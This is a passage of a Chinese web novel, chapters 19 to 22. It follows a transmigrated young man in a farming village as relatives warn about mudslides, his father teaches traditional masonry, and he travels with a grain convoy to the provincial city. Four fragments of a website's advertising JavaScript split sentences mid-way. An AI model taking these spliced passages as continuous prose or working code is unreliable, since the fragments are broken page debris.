“不就是个乡下的破工作吗,到时候我让我爸给你在城里安排个售货员的工作,不比在乡下种田好。” “我问你最后一次,要不要和我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一起走。” 许丽浑身发抖。但这回不是害怕,而是被内心的怒火气得想要把眼前人撕碎。 她紧紧握住双手,眼里的恨意令人心惊,让柳珍珍下意识后退了几步,旋即又瞪着眼道:“走不走。” 许丽冷冷看着她:“我不走。” “就算你用我爸威胁我,我也不会走。虽然我爸是你爸的下级,但他是党和国家的人,不是你爸的奴隶,我也不是你的奴隶。” 许丽的一番话让场上哗然,众人议论声不止。从昨天发生的事里,大家还以为许丽是个没有主见的姑娘,没想到她和柳珍珍还有这样一番纠葛。 柳珍珍和她父亲简直太过分了! 柳珍珍气不打一处来,她愤怒地指着许丽,一张姣好的面容因为愤怒而变得丑陋。 “说得好!” 负责人大步走进食堂,环视一圈道:“公务员是党和国家的人,不是领导的奴隶。上下级只是工作的上下级,不是人类的上下级。” “农场是工作的地方,不是排资论辈的地方,要是有人仗着自己的职位,仗着自己的父母恶意欺负别人,就别怪我不讲情面。” 他转头看向柳珍珍:“我会去县里和几位几位领导好好谈谈,看看是哪些蛀虫偷偷当封建社会的地主老财。” 柳珍珍脸色微白。 她手指着众人绕了一圈:“你,你们给我等着,我不会放过你们的。” 三人提着行李箱愤怒地离开,负责人走上前对许丽笑道:“许丽同志,你不要怕,我会处理好这件事。” 许丽哭着点头:“谢谢领导。” 她知道,她终于度过了这场风波,可以安安稳稳地留在农场里工作,她的父母也不再会被周围人嘲笑,饿着肚子过日子。 …… 柳珍珍和许丽闹出的这件事成了贺家村好一段时间的谈资,不过大家都对许丽报以很大的同情, 两家人的父亲都在国企工作,对方父亲又是自己父亲的顶头上司,怪不得许丽会在柳珍珍面前唯唯诺诺,也不知道小姑娘明里暗里受了多少的欺负,真可怜。 柳珍珍等人被赶走后,来贺家村的新人们安安分分,没再闹出什么幺蛾子。 许丽更是卖力工作,不喊苦不喊累,主动申请去最麻烦的地,干最麻烦的活,见人就亲切地喊婶子,很快就得到了贺家村人的接纳。 曾秀平怜爱她,看见她短短几天里瘦了好几斤,本来就不胖的姑娘瘦得有些脱相,时不时就邀她来家里做客吃饭。 贺隽秋和许丽也渐渐处成了好朋友。 贺隽夏倒是觉得许丽的变化太快了,有点不符合常理,默默观察了对方好几天,确认她不是任务者,对贺家人没有恶意后就收回了关注。 他不是好奇的人,也无意窥探他人的隐私。只要对方安安分分不闹幺蛾子,贺家村非常欢迎她。 这样的想法直到某一天戛然而止。 贺隽秋神神秘秘地问他:“哥,你说咱们在山上砍树挖草弄梯田,会不会发生泥石流啊?” 19.第 19 章 贺隽夏疑惑:“你怎么突然担心泥石流?” 开荒开了半个多月,要想到早想到了,想不到的也不会突然就想起来。 贺隽秋摸出一颗流心软糖嚼嚼嚼:“许丽和我说的,我以前做过的地理题也说建梯田会导致水土流失,可能在雨季引发泥石流。” 泥石流不仅会导致作物受损,还极有可能造成人员伤亡,这是任何人都不想看见的情况。 贺隽夏想到那座快要变成“大光明”梯田山,皱了皱眉道:“下午我去找强国叔说说。” 至于不经意间透露出自己担忧的许丽,贺隽夏总觉得她是故意借贺隽秋的口提醒这件事,毕竟这些天的相处里她展现出了不低的情商。 她是新人,刚来到贺家村人微言轻,又有柳珍珍的事在前,加上开荒建梯田的事是负责人下的命令,说出去不一定有人听,用这种委婉的方式无可厚非。 不过贺隽夏还是有点微妙的不爽——曾秀平和贺隽秋两人可是真心实意地把她当成晚辈、朋友对待。 贺隽夏屈起手指敲了敲自家傻妹妹的脑袋,傻不拉几的,被人卖了都不知道。 贺隽秋捂着脑袋生气:“不许敲我脑袋。” 贺隽夏无辜地眨了眨眼睛,举起双手表示投降,然后趁贺隽秋放松警惕后猛地伸出手,又弹了弹她的额头。得手后的青年马上笑嘻嘻地跑走,以免被某个人追上来,暴揍一顿。 贺隽秋气得直跺脚。 她叉腰怒吼:“贺隽夏,你个骗子,你耍赖!” 回应她的是青年得意的声音。 “我没耍赖,我是用手指弹的。” 贺隽秋气得吱哇乱叫,她转头向曾秀平和贺成材告状:“爸,妈,你们看我哥,他欺负我!” 曾秀平和贺成材没有搭理她。 贺隽秋纠缠不休,曾秀平被磨得不耐烦了,冷酷道:“好,罚他明天不许吃早饭,饿着肚子干活。” 贺隽秋顿时像看后妈一样看着曾秀平,连连摇头道:“不行,那我哥不得饿死。” 曾秀平:…… 曾秀平没好气地走开,贺成材微微一笑,看破不说破。 …… 手头上得了便宜的贺隽夏哼着欢快的小曲儿朝贺强国家走去。 他一心二用,一边走一边注意地上的杂草,将这些杂草的特征与《野外常见中草药》书上的图片对应。 金银花、蒲公英、薄荷、板蓝根、艾草、车前草、龙葵…… 贺隽夏找得太入迷,不到十分钟的路程,硬是被他走了半个小时。 老村长正躺在院子里晒太阳,看见他过来笑眯眯道:“是小夏啊,有什么事吗?” 贺隽夏问:“三爷爷,二叔在家吗?” 老村长坐起身:“找强国啊,他中午吃完饭就去开会了,还没回来,有什么重要的事吗?” 贺隽夏:“不是很紧急的事,但我想还是要跟二叔说一下,不怕一万,就怕万一。” 老村长对小弟家的大孙子很有好感。当初要不是贺隽夏察觉到外边情况不对劲后特意来找他,一起提醒村里人囤粮食囤东西,他们村哪能过上现在的好日子。 所以听贺隽夏这么说,老村长顿时眉头一皱,觉得不是件小事,当即道:“你跟我说,等你二叔回来我告诉他,或者你就留下来,咱们一起等你二叔回来。” 贺隽夏笑道 :“行,三爷爷,就麻烦你帮我跟二叔说一下。” 他组织了下语言,将心里对于过度开荒可能会导致泥石流的担忧说了出来。 老村长的眉头越来越紧。 虽然他没上过学,没读过书,只认得几个字,但年龄就是最好的老师,经年累月积累下的见识就是最好的书。 老村长对泥石流并不陌生。 他们这片地每年都有几个月阴雨连绵,小河沟里的水也会涨成大水,偶尔就会听见哪里的道路塌方,哪里发生了泥石流。 前些年有个采石场就在下雨天时发生泥石流,死了六个人,最后采石场被关了,老板也坐牢去了。政府还专门派干部下乡宣传,就是因为山上的树都被砍光了,水土流失,才会发生泥石流。 老村长凝重道:“等强国回来,我马上跟他说。” 得到保证后,贺隽夏就告辞离开。他心里惦记着在路上发现的各种草药,一离开老村长家就直奔小河边的山坡而去。 贺隽夏蹲下来仔细辨别周边的野草,回忆野草的学名和功效,突然,他眼睛一亮。 这是黄芪?! 贺隽夏兴奋地直接用手刨坑,想徒手把黄芪的根部挖出来。 不过大自然会惩罚每一个嚣张的人。 挖了半天挖到手痛却只挖出一个浅坑的贺隽夏看着沾满泥巴的手,沉默片刻,选择找来几根还算结实的枯树枝做工具。 他足足挖了快二十分钟,才把一整根有它小臂长的黄芪挖出来。 贺隽夏拿着沾满泥巴的黄芪来到小河边清洗。随着水流的冲刷和细致的搓洗,靠近岸边的河水很快就浑浊起来。 他举起洗干净的植株对准斜向西落的太阳,黄昏时的阳光轻柔地抚过这株得以天日的黄芪,为其披上一层迷人的金色光辉。 贺隽夏满足地提着黄芪回家,却并没有得到曾秀平和贺成材的疑问,他有点小失落。好在贺隽秋很快就填补了这点小失落,她好奇地跑过来问他手里拿的什么东西。 贺隽夏得意,贺隽夏卖关子,贺隽夏不说。 不知是不是看不惯贺隽夏臭屁的模样,贺成材插嘴道:“这是黄芪,我和你妈以前经常去山上找来卖钱,不过你那个时候还小,没印象。” 从自家老爸嘴里得到答案的贺隽秋不屑地哼了一声,偷偷溜到贺隽夏身后准备使出佛山无影脚。 嚯嚯哈嘿,踢你屁股。 殊不知贺隽夏早在她偷摸移动时就提高了警惕,贺隽秋结结实实地摔了个屁股墩,痛得她龇牙咧嘴,五官乱飞。 贺隽夏:“哈哈哈。” 贺隽夏冷酷锐评:“偷鸡不成蚀把米。” “妈,你看他。”贺隽秋转头告状:“妈,我屁股好痛,都是我哥欺负我。” 曾秀平双手叉腰:“小夏,不许欺负你妹,厨房的水缸没水了,你打水去。” 贺隽夏讪讪一笑。 都说回家第一天的大学生是个宝,回家第七天的大学生是根草,这句话放在现在的他身上也不例外——曾秀平再也不是半个月前见他第一面就问饿不饿,家里煲了鸡汤的温柔母亲。 贺隽夏在贺隽秋的怒目而视下麻溜地从厨房里提出一个红色大水桶,跑去后院的水井打水。 他们家的水井还是那种老式水井, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 平时用一块厚木板挡着,只有需要打水时才会把木板移开。 贺隽夏在后院和厨房间来回走动,贺隽秋则幸灾乐祸地跟在他身旁,手里还拿着不知道哪来的脆黄瓜嚼嚼嚼。 贺隽夏伸手:“我也要。” 吃了两次亏的贺隽秋还看他鼻子不是鼻子,眼睛不是眼睛,高傲地冷哼一声:“不给。” 她当着贺隽夏的面把黄瓜吃得咔嚓作响,黄瓜的特殊气息瞬间散入空气,让某个只能看不能吃的人默默移开视线。 贺隽秋:嘻嘻嘻 贺隽秋像打了胜仗的大将军般高兴地走了。 贺隽夏看着她离去的背影,不禁摇了摇头,用成熟大人的语气道:“果然还是个孩子。” 贺隽秋的背影踉跄了一下。 她转头回怼:“我才没有你幼稚,小学生都不会弹别人脑袋。” 贺隽夏:“看吧,小孩子就是会恼羞成怒。” 贺隽秋气跑了。 贺隽夏:嘻嘻.jpg 成功气走妹妹的青年高兴离开。 别看贺隽夏实习时遭受过医院和病人的“毒打”,待人接物方面也十分不错,在外人面前有个人模人样。 但他本质上还是个没毕业的大学生,就算遇见了系统,穿越到了异世界也没改变多少。 (这一点离不开贺家人对他的真心接纳和关爱) 于是乎,装了半个月温柔大哥哥的贺隽夏逐渐在自家人面前露出了恶劣的一面,时常气得贺隽秋想打他。 不过时空管理局以他为基准构建的“贺隽夏”本来就是颗包裹着黑芝麻馅的白汤圆,这些行为倒也算不上崩人设,不至于引起其他人的怀疑。 曾秀平夫妻对兄妹俩的吵吵闹闹眼不见为净。两个孩子分开的时候想,在一起又闹,他们早就习惯了,才懒得掺和进去。 得亏儿子比女儿大了好几岁,又是哥哥和妹妹,不至于像贺小毛家的双胞胎,长到26岁,家里还是有断不清的官司,吵得人头疼。 …… 泥石流的事被老村长告诉现任村长,现任村长又上报给负责人。雷厉风行的负责人第二天去县里开会时就提出了这件事。 一部分农场负责人不以为意,另一部分却记在了心里。 贺家村的开荒队不再对那座山上的树木进行大规模砍伐,甚至还在部分不方便耕作的开荒田里移栽花草树木,小范围退田还林。 当然,开荒队没有停下脚步。 负责人召集村里几个善农事的老人重新选定了几座远离人类建筑的山头开荒,并且对每座山的田地数量做出了限制。 看见事情得到解决,许丽偷偷松了口气。 不管别的农场怎么做,反正他们农场以后肯定不会出现泥石流灾难。 又过去五天,许久不见的贺根敲响贺隽夏家的大门,贺隽夏骑上三轮车和他一起去医院接人。 他终于又看见了贺根的孩子,小婴儿皮肤白白嫩嫩,哭声响亮有力,一点也不像当初见到的“小瘦猴”,倒像个混世魔王。 洪芝芳轻轻拍打着襁褓里,想让“混世魔王”停止哭闹,可惜小婴儿根本不给母亲的面子,哭得一声比一声响。 贺根还在持续傻笑中,说着他女儿有多么多么可爱,看见他就会笑。 贺隽夏:切,傻爸爸 20.第 20 章 金乌西坠,夕阳漫天。 天际尽头的云彩熊熊燃烧,呈现出最浓墨重彩的赤红色。 贺隽夏和贺根一家终于赶回贺家村。作为灾难发生后贺家村的第一件大喜事,贺根一家的回归受到了大家的热烈欢迎。 小婴儿被大人说笑的声音吵醒,哭哭闹闹唤个不停,尖锐的声音犹如魔音贯耳。 然而大家伙不仅没被她的哭声吓住,反而更加高兴地夸奖,哭得好,声音响亮有力,一看就是个健康的孩子。 洪芝芳抱着孩子回屋喂奶,贺根提着县里买的谢礼向几位帮忙的军人当面道谢,又在众人面前将贺隽夏干爹的身份过明路。 不曾想他话音刚落,老一辈们就笑个不停。 贺隽夏和贺根二脸懵逼。 见他们还没反应过来,曾秀平看不下去了,笑哈哈地提醒道:“你们两个咋一起糊涂,哪有伯伯给侄女当干爹。” 贺根:…… 贺隽夏:…… 救救我,救救我,怎么忘了贺家村人人沾亲带故,共享一个祠堂的事了。 两个年轻人面面相觑。贺隽夏尴尬地摸了摸鼻子,贺根尴尬地搓了搓手,默契地找借口溜走。 贺隽夏走了好几米远,还隐约能听见村里人笑他们两个糊涂,想来这件事短时间里是过不去了。 贺隽夏:猫猫头流泪.jpg 谁懂啊,干女儿飞了还要被人嘲笑。 好在不久之后,已经有清晰规划的养殖场建设计划代替他们成为了贺家村的新一轮谈资。 贺家村的人惦记,新来的人惦记,城里人也惦记,都想着从中分一杯羹。农场里人心浮动,气氛逐渐浮躁起来。 消息传出的第三天,保卫科的人从城里运来砖块水泥,吴大队长召集村里的会泥瓦活的人来干活,给额外补贴。 一开始大家还很激动,争着抢着要来报名,然而当众人得知额外补贴是养殖场产出的鸡蛋后,报名的人瞬间没影了。 鸡蛋能值几个钱啊。 建房子不比开荒轻松,甚至失去机器的辅助后,在某些方面更苦更累。自从梯田计划夭折,他们就只需要上半天班,剩下半天去山里挖挖野菜,采采菌子都比报名建养殖场轻松划算。 农场倒不是非要让所有人都来报名。保卫科那么多年轻力壮的小伙子,不缺干苦力活的人。 只是问题也在这里。 小伙子们太年轻了,大部分是高中毕业和大学报名的义务兵,小部分是军校毕业生,地方直接招募的士兵很少。 总而言之,没一个人建过房子,连图纸都看不懂,有米不是巧妇也白搭。 保卫科的吴大队长找到贺家村村长兼农场大队长贺强国想办法,贺强国只好豁出脸面,找到几户有手艺的人家动之以情,晓之以理。 贺成材就是主要目标之一。 他父亲是泥瓦匠,那个年代讲究子承父业,他自然也会泥瓦匠的活。贺隽夏现在住的房子,就是贺成材和他父亲一点一点建起来的。 贺成材年轻时去工地上干过好几年,可惜总是被欠薪,一年忙到头还不如回家种田赚得多,后来就只在农闲时干点泥瓦匠的兼职。 贺成材比不上正经泥瓦匠,手艺还停留在他父亲那一辈,但那一辈的手艺恰好不需要各种机器,完美符合现在的情况,用来给村里建小养殖场足够了。 贺家村的村民大多沾亲带故,他们两家的关系更是亲近——贺强国的父亲老村长和贺成材的父亲是亲兄弟。贺成材被说得没办法,只好答应下来。 贺隽夏也跟着去了。 虽然他没有手艺,农场不缺干累活的人,但是他爸有手艺啊。吴队长打着让底下士兵偷师学艺的主意,自然不会拒绝他加入。 贺隽夏:嚼嚼嚼,啃老真香.jpg 当然,他不是真的闲得没事想要干活,只是想着 技多不压身,趁机学一学泥瓦匠的活,说不定以后在其他世界能用上。 贺成材对自家儿子的行为乐见其成,尽心尽力地教导他,也不在乎其他人偷师学艺,空闲时还会好心指点他们。 谁料几个年轻人脑子灵活,惯会顺着杆子往上爬,当即就师傅师傅地叫起来,甚至晚上一下班就提着拜师礼来了。 几个人会做事也会说话。 他们先把贺成材狠狠吹嘘一通,又把贺家其他人夸了一番,再恭恭敬敬地送上礼物,嘴上说着只需要您空闲的时候教一教,有事随便使唤,临走时还把贺家的水缸都填满了。 一番操作看得贺隽夏叹为观止,也让他感受到了贺成材这门手艺的重要性。 想想也是。 随着时代和科技的发展,传统的砌筑技术被更先进的建筑方法所取代,现代泥水匠的工作逐渐减少,不再承担建筑的主体结构,而是负责诸如修补墙面的裂缝,安装地砖和瓷砖等零星的修缮和装饰工作。 可是现在一朝回到解放前,现代泥水匠失去机器后无所适从,传统泥水匠的作用就变得重要起来。 偏偏传统泥水匠已经少之又少,想学别人吃饭的手艺自然得态度好。 别说贺成材这个当师傅,就是贺隽夏这个大师兄也被几个小师弟哄得找不着北,吐了好些有用的医学小知识和最近刚学到的中草药知识。 当老师上瘾的贺成材更是连夜从杂物室里翻出老父亲的藏货——一本又小又厚的老书,书名简洁朴实,就是《泥瓦匠手册》。 贺隽夏起初还以为这本书就是市面上那种水货书,会大篇幅介绍泥瓦匠的起源、泥瓦匠的发展、泥瓦匠的作用,没想到第一页就是满满的干货。 没有多余的修辞,没有复杂的语句,词语精确到每一分,每一秒,每一个比例。毫不夸张地说,跟着书上列好的步骤一步步往下走,就已经是一个勉强合格的泥瓦匠了。 贺隽夏顿时如获至宝。 他缠着贺成材问家里还有没有类似的书,没想到贺成材真的又翻出来一本,还是和治病有关的书,书里详细的介绍了如何利用野外的中草药治病。 那一天,贺家少了一个人,多了一只猴子。 而第二天上午,贺成材把《泥瓦匠手册》带去工地后,工地上也多了三只吱哇乱叫的猴子。 他们的动静引起了其他人的注意,一堆人好奇地围过来,猴传人现象出现,于是工地上少了一群人,多了一群猴子。 贺隽夏:…… 过来监工的吴队长:??? 一通操作猛如虎,众人成功将《泥瓦匠手册》送到负责人手上,负责人看过后就开始找人来抄书,要求一笔一画清晰,每个地方都不能出错。 这种老书都是宝贝啊。 贺隽夏:不嘻嘻.jpg 虽然负责人明确表示不会拿走原版书,只是借一下抄写一段时间,还给了贺家一些钱作为补贴,但贺隽夏还是有点伤心。 刚学入迷就被拿走教材,弄得他心里直痒痒。 三个小师弟:不敢动不敢动.jpg 好在家里还存着另一本老书,贺隽夏每次下工回家就会点起蜡烛,捧着书如饥似渴地阅读,还找贺隽秋借了笔和纸,边看边抄加深记忆。 就这样,日子一天天地过去,小型养猪场和小型养鸡场顺利竣工,贺隽夏学到了不少知识,也吃了几十顿好饭。 别说,干活是累,伙食也是真的好。 如果说食堂的辣椒炒肉是辣椒多猪肉少,那么工地上就是肉炒辣椒,猪肉多辣椒少,重油重盐,一顿吃到饱。 干了半个多月的活,贺隽夏不仅没有瘦,还隐隐有长胖的趋势,贺隽秋和曾秀平都惊呆了。 一部分没有报名的人则隐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 隐有些后悔,早知道工地上的伙食这么好,他们也去报名了。另一大部分人则不以为意,伙食越好活越累,为了点吃的不值得,又不是买不起肉。 众人的注意力很快就转移到另一件事上,养殖场建好了,小鸡和小猪也送来了,总该开始选人了吧。 为了这件事,农场里各种吵吵闹闹争争抢抢,新人们也八仙过海,各显神通。贺强国被烦得都不敢出门散步了,路上也不和人打招呼,见人就躲,生怕对方找上来好一阵说。 贺隽夏一家依然看热闹。 嚼嚼嚼,嚼嚼嚼,这瓜好吃,那瓜也好吃。 在这样热闹的气氛里,县里的检查组来查各个农场的禽舍情况,贺家村农场的禽舍得到了专家的表扬称赞,被列为建设标准。 于是建设标准畜禽的几位老师傅连同自己带出来的班底就被邀请去县里做技术培训,一天到晚忙各不停,还要给县郊区的农场帮忙干活,连同《泥瓦匠指南》的原本也被带去了县城供人抄写。 快累死的贺隽夏:超级不嘻嘻.jpg 得亏负责人态度坚决,否则他们还不一定能把原版的《泥瓦匠指南》带回来。 等他们一行人终于回到贺家村时,人均黑了不止一个色号,也瘦了不少,整个人看起来更加精干有力。 要是贺隽夏走出去让人猜自己的职业,绝对没人相信他两个月前还在大城市里的公司工作,太阳晒不着,雨淋不着。 唯一的好消息是县里给钱大方。 贺隽夏和贺成材忙活半个多月,赚了200块回来,还得到了100元的贡献奖,作为对他家贡献出《泥瓦匠指南》的鼓励。 这波千金买马骨很有效果,县城及周边乡镇的人得知消息后纷纷翻箱倒柜,还真找出来不少有用的老书。 而贺隽夏家的收获还不仅于此。 贺成材教的三个徒弟都是驻扎在贺家村的军人,能领两份工资,本来就不差钱。为了感激贺成材不藏私,真心教他们手艺,甚至提出要把去县里赚来的钱都给他。 当然,贺成材拒绝了。 他已经收过拜师礼,断然没有拿徒弟工钱的道理。谁知道,他这边刚一拒绝,那边就提着各种礼物上门,新鲜水果、猪肉、牛奶、补品等应有尽有。 曾秀平和贺隽秋也对贺成材的手艺夸个不停。 贺隽夏看见贺成材偷偷抹了抹眼角,眼里好似闪烁着晶莹的水光。 对于他这种老实巴交的农村汉来说,钱不钱的不重要,徒弟和家人对他的尊重,对他的认可却深深戳中了他的心。 曾秀平看着满屋子的东西,看着被井水填满的大水缸,走上前陪在贺成材身旁,一切尽在不言中。 贺隽夏和贺隽秋根据曾秀平的指示收拾东西,把新鲜猪肉放进花椒食盐水里浸泡。 曾秀平看着他们忙忙碌碌的动作,忽然叹了口气:“也不知道小凤那边怎么样,能不能吃好,她还怀着孩子呢。” “我一想到贺根媳妇那天的情况,心里就揪得紧,而且冬天也快到了,不能用电,他们咋个保暖啊。” 贺隽夏宽慰她:“洪芝嫂子不也安安全全地带着孩子回来了。” “我听说县里有那种专门陪人到处跑的队伍,就像古时候的镖师,等过段时间不忙了,我找机会请假和他们去市里给姑姑送点东西。” 曾秀平有点心动又担心儿子的安全。 她问道:“安不安全啊,我们年轻的时候没手机,不发达,听说还有人专门堵在路上抢劫。” 贺隽夏:“挺安全的,我特意去县里打听了,干他们那一行的必须得到十位来自不同家庭的邻居和三名同行的担保,社区审核通过后才能去政务大厅办·理·证·件呢。” 曾秀平放了心。 然而谁也没想到这个机会来得这么快。 21.第 21 章 县政府预计从各乡镇农场里调一批军人组成送粮队给省城送粮食,普通百姓可以跟在送粮队后去省城。 而且贺成材的一个徒弟吕杭墨被选中成为送粮队的一员,可以在路上照看贺隽夏几分。 机不可失,时不再来。 得知这个消息,贺隽夏和家人商量了一会儿,便决定跟着送粮队去省城。 贺隽夏找到贺强国说明情况,请他给自己开介绍信,而这段时间的工作则由贺隽秋代替他完成——反正现在不忙,只需要干半天活,被扣工资未免有些可惜。 贺强国爽快地开了介绍信。 他们两家的关系本就亲近,上回要建设畜禽场还多亏贺成材出了大力气,加上又是正当的请假理由,自然没有不答应的道理。 贺强国将盖了章的介绍信递给贺隽夏,上前拍拍他的肩膀:“好小子,成凤真没疼错人。” 贺隽夏笑道:“谢谢二叔。” 介绍信拿到手,贺家人瞬间忙碌起来,盘算着让他带哪些东西去省城。 曾秀平念念叨叨:“再过十天半个月,天就要冷下来了,得带几个暖水袋过去,你姑那里肯定没有这种不用电的暖水袋。” 贺隽秋:“哥,你把这些红枣、桂圆和红糖都带上。我听孙婆婆说过,这些东西对孕妇好,还可以补血,县里都买不到呢。” 贺成材倒是没说啥,但他拿着一个干净的空瓶子出去没多久,回来时瓶子里就装满了土蜂蜜。 贺隽夏看着他们忙忙碌碌的身影,也不禁跟着行动起来,从杂物室里翻出自己买来的各种方便食品。 午餐肉罐头、水果罐头、冻干紫菜蛋花汤(热水冲泡即可使用)、冻干蔬菜汤、烘干蔬菜,干紫菜、压缩饼干、冲泡米饭、预制菜、玉米粉、山药粉、南瓜粉…… 除此之外还有各种维生素、钙片、人参片、西洋参片、黄芪片、枸杞、常见感冒药等医药保健用品和50枚固体酒精球。 一大堆东西堆在地上堆成了小山,贺隽夏从B市带回来的24寸行李箱和一个大容量的黑色背包根本装不下。 贺家四人面面相觑,贺隽夏忍不住吸了口冷气。 好像东西是有一(亿)点点多啊? 贺隽夏没办法带太多东西。毕竟从县里开车到省城不走高速要两个多小时,走高速要一个小时左右,换算成步行,怎么也得走一天,还是不能长时间休息的那种。 骑自行车倒是可以快点,可也快不了多少,而且他是跟送粮队一起,得跟着送粮队的步子走。 与其带太多东西,不如多带点钱过去。 ——省城人多,相应的各种大型批发市场也多。这些批发市场里的物资被政府接手后,很大一部分都会流入国营商店,就是价格会贵点。 曾秀平和贺成材没有累死自家儿子的打算,几个人商商量量,只留下一些目前市面上买不到的东西和价格过于昂贵的物品。 然而就算是这样,背包和行李箱还是被填得严严实实。贺隽夏试着把背包背在肩上,身体顿时一沉,差点被爱的力量压垮。 贺家人:…… 算了,还是再减一些东西吧。 一通操作下来将行李箱和背包的重量维持在六十斤左右,总算达到一个合适的水平。 忙完这些,掌管家中财政大权的曾秀平翻出家里的存款412元,从中拿出300元递给贺隽夏,让他带去省里给贺成凤。 她道:“现在的情况你们都知道,城里既不能种地也没多少工作岗位,社区提供的免费米粥顶多让人饿不死,想吃饱是不可能的。” “现在小凤家里四个大人一个孩子,日子过得不知道有多艰难。平时她是怎么对我们,对你们两个侄子侄女,你们心里也清楚。” 曾秀平认真地看着自己的两个孩子:“钱可以挣,但是姑姑只有一个,我希望你们记在心里。” 贺隽夏笑道:“妈,你就放心吧,我们能有啥不愿意的,那可是我姑,谁能有她疼我啊。” 贺隽夏清楚曾秀平的这番话主要是对他说的——他主动上缴了一大部分工资作为生活费,家里的存款就有他交上去的那部分。 贺隽夏没觉得吃亏。他毕竟不是贺家的孩子,只是借了他们孩子的身份,却得到了这个家庭最真挚的爱。 爱是金钱买不来的东西,他很珍惜很感激这份爱。而且他也做不到在贺家白吃白喝,交生活费是理所应当的事。 交上去的钱,就不是他的钱。曾秀平只要不想着买什么可以治百病的玉床、神水等智商税,贺隽夏都不会管。 再说“贺隽夏”是被贺成凤亲手带大的孩子,从出生到成年,贺成凤为“贺隽夏”付出了太多的爱和心血,两人的感情无法用简单的姑侄情来形容。 即使是为了保持人设,贺隽夏也不会不满。 曾秀平和贺成材脸上露出欣慰的笑容,只要几个孩子平平安安、和和睦睦,他们这辈子就值了。 整理好要带的东西后,曾秀平又开始和面烙饼,给贺隽夏准备后天路上吃的干粮。 “汪汪汪”“汪汪汪” “小夏,你在不?” 贺隽夏听出是贺根的声音,让贺隽秋把客厅里的东西收拾好,自己走出去开门。 两只小狗摇着尾巴堵在门前狂吠不止。它们依然是可爱团子的模样,却明显比之前更有威慑力了。 贺根夸道:“你们家狗养得真好,长大了肯定是看家护院的一把好手,搞得我也想养了。” 贺隽夏毫不谦虚:“你也不看看是谁养的。” 贺根伸手捶了捶他肩膀:“你小子真不要脸,给点颜色就开染坊。” 两人说笑了好一会儿,好在贺根还记得正经事,开门见山道:“你是不是要去省里看你姑?” 贺隽夏点点头。 他不奇怪贺根为什么知道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,村里本来就没啥隐私可谈,贺成材刚才还出去换了罐土蜂蜜呢。 贺根:“我婆娘他三叔也要跟着送粮队去省里接他女儿回来,他女儿在省师范读书,你俩要不要搭个伴?” 贺隽夏陷入思考。 贺成材的徒弟吕杭墨毕竟是送粮队的一员,不能擅离职守,能有个人结伴一起走,互相照看自然更好。 不过结伴也得看人,万一是个浑不吝的,那还不如各走各的路。 贺隽夏:“我能和他见一面吗?” 贺根:“肯定得先见一面,你要是觉得不合适不用顾忌我,我就是帮我婆娘带个话。” 贺隽夏:“多谢了。” …… 贺隽夏抽空和洪芝芳的二叔洪国兵见了一面,两个人互相对对方的感观都还不错,结伴同行的事就定了下来。 第二天晚上两人在县里的酒店过夜,早上五点便跟着送粮队踏上高速。 贺隽夏背着背包骑车,洪国兵提着他的行李箱坐在后座上,行李箱的轮子在高速路上发出规律的摩擦声。 每隔一到两小时,他和洪国兵就换一次位置,两个人搭配着骑车倒也不是很累,唯独苦了行李箱的轮子,没机会休息。 好在四个轮子的质量还不错,在路上滑了十几个小时,一直滑到省城也没坏,就是秃噜皮了。 他们省城时已是深夜,月亮被云层遮挡,透不出丁点月光,四周静谧无声,格外瘆人。 好在有送粮队打头,一大群令行禁止的军人给贺隽夏带来了十足的安全感。 粮食被省城的人接手走,送粮队的人被安排至一处酒店歇息,贺隽夏和洪国兵也在这家酒店花10块钱办了个双人间。 贵是贵了点,但胜在安全有保障。 毕竟现在没监控录像,刑侦手段也受到各种限制,要是有人起了歹心杀人埋尸,恐怕案件过了几十年也不一定能告破。 贺隽夏脱了鞋子躺在柔软的酒店大床上,忍不住发出一声舒服的喟叹。十多个小时没休息,握自行车的手都握酸了,脚上还起了一大片水泡,那叫一个酸爽。 酒店深夜不提供热水,贺隽夏和洪国兵也累得根本不想动弹,两人就这么迷迷糊糊地睡了过去,一觉睡到第二天中午。 贺隽夏在刺眼的阳光中醒来,伸出手揉了揉眼睛,打了好几个哈欠,只觉得小腿肚子和手腕都酸痛不已。 贺隽夏转头看向洪国兵。 “洪叔,我先去我姑家送点东西,回来再和你去师范学校接你女儿。” “好好好,你先忙你的事。” 虽然洪国兵很想快点见到女儿,但他也清楚自己在省城人生地不熟,得靠着贺隽夏,自然没有要对方先帮自己去学校接女儿的道理。 走出酒店大门才想起来省城真的很大,没有手机导航就是路盲的贺隽夏:…… 问题来了,新水区吴家湾幸福小区怎么走? 22.第 22 章 贺隽夏灰溜溜地回到酒店。 他找到酒店的前台小妹真诚发问:“你好,请问新水区吴家湾幸福小区怎么走?” 前台小妹:…… 前台小妹脸上挂着礼貌而得体的微笑,轻声道:“不好意思,先生,这里是陌司区,我对新水区不熟悉,不知道怎么走。” 贺隽夏像是没看见前台小妹的尴尬,继续问:“请问陌司区离新水区远吗?” 前台小妹想了想:“好像还挺远的,坐地铁过去要半个多小时吧。” 半个多小时的地铁?! 换算成步行骑车那不至少三小时,而且他还不认识路。 QWQ 求问,现在他该怎么从陌司区的安心大酒店走到新水区吴家湾的幸福小区? 大城市的路本来就错综复杂,两个区又相距这么远,就算是找人问路也得不到准确答案啊。 前台小妹看着脸上弥漫着淡淡死意的贺隽夏,笑眯眯地指了指柜台上夹着一张A4纸的亚克力板:“如果您有需要,您找带路公司,让他们带您去幸福小区。” 专业公司? 有需求就有市场,不愧是大城市。 贺隽夏定眼看着A4纸上的介绍,猜测酒店和前台小妹应该能拿不少提成。 不过他也只有认坑的份。 毕竟公司能跑,这么大的酒店可跑不了,出了问题还能找酒店算账。要是上外面随便找个人,他被卖了都没地哭。 贺隽夏想了想又问道:“省师范大学离这边远吗?” 要是师范大学更近,他干脆先和洪国兵去学校接人,再去他姑家,省得一来二去太耽搁时间。 前台小妹不明白贺隽夏怎么突然转换话题,但还是认真回道:“师范大学在合明区,合明区离陌司区比较近,平时坐地铁十多分钟就能到。” 贺隽夏点点头,心里有了计较,笑道:“麻烦你了,我上去和我同伴商量一下。” 